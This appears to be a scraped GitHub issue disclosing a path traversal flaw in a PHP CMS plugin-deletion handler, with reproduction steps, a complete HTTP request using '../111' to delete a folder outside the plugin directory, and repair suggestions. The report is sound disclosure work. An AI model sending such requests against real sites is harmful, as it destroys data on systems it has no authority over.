Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Vulnerability file: \Application\Common\Util\File.class.php
Vulnerability to reproduce: 1、First log in to the background 2、Visit url: http://www.xxx.com/index.php?m=admin&c=custom&a=plugin 3、Here delete the 111 folder in the root directory,construct the packet as follows: ................................................. GET /index.php?m=admin&c=custom&a=plugindelhandle&plugin_name=../111 HTTP/1.1 Host: www.xxx.com User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://www.xxx.com/index.php?m=admin&c=custom&a=plugin Cookie: PHPSESSID=jlmibkatfp939ds8pk3qpiv536; Hm_lvt_48659a4ab85f1bcebb11d3dd3ecb6760=1649066135; Hm_lpvt_48659a4ab85f1bcebb11d3dd3ecb6760=1649066212; greencms_last_visit_page=aHR0cDovL3d3dy54aWFvZGkuY29tL2luZGV4LnBocD9tPWFkbWluJmM9Y3VzdG9tJmE9cGx1Z2lu DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 .................................................
Repair suggestion: 1、Filter ../ and ..\ 2、Specify the range of files to delete
The text was updated successfully, but these errors were encountered:
No branches or pull requests
Vulnerability file: \Application\Common\Util\File.class.php

Vulnerability to reproduce:
1、First log in to the background
2、Visit url: http://www.xxx.com/index.php?m=admin&c=custom&a=plugin
3、Here delete the 111 folder in the root directory,construct the packet as follows:
.................................................
GET /index.php?m=admin&c=custom&a=plugindelhandle&plugin_name=../111 HTTP/1.1
Host: www.xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.xxx.com/index.php?m=admin&c=custom&a=plugin
Cookie: PHPSESSID=jlmibkatfp939ds8pk3qpiv536; Hm_lvt_48659a4ab85f1bcebb11d3dd3ecb6760=1649066135; Hm_lpvt_48659a4ab85f1bcebb11d3dd3ecb6760=1649066212; greencms_last_visit_page=aHR0cDovL3d3dy54aWFvZGkuY29tL2luZGV4LnBocD9tPWFkbWluJmM9Y3VzdG9tJmE9cGx1Z2lu
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
.................................................
Repair suggestion:
1、Filter ../ and ..\
2、Specify the range of files to delete
The text was updated successfully, but these errors were encountered: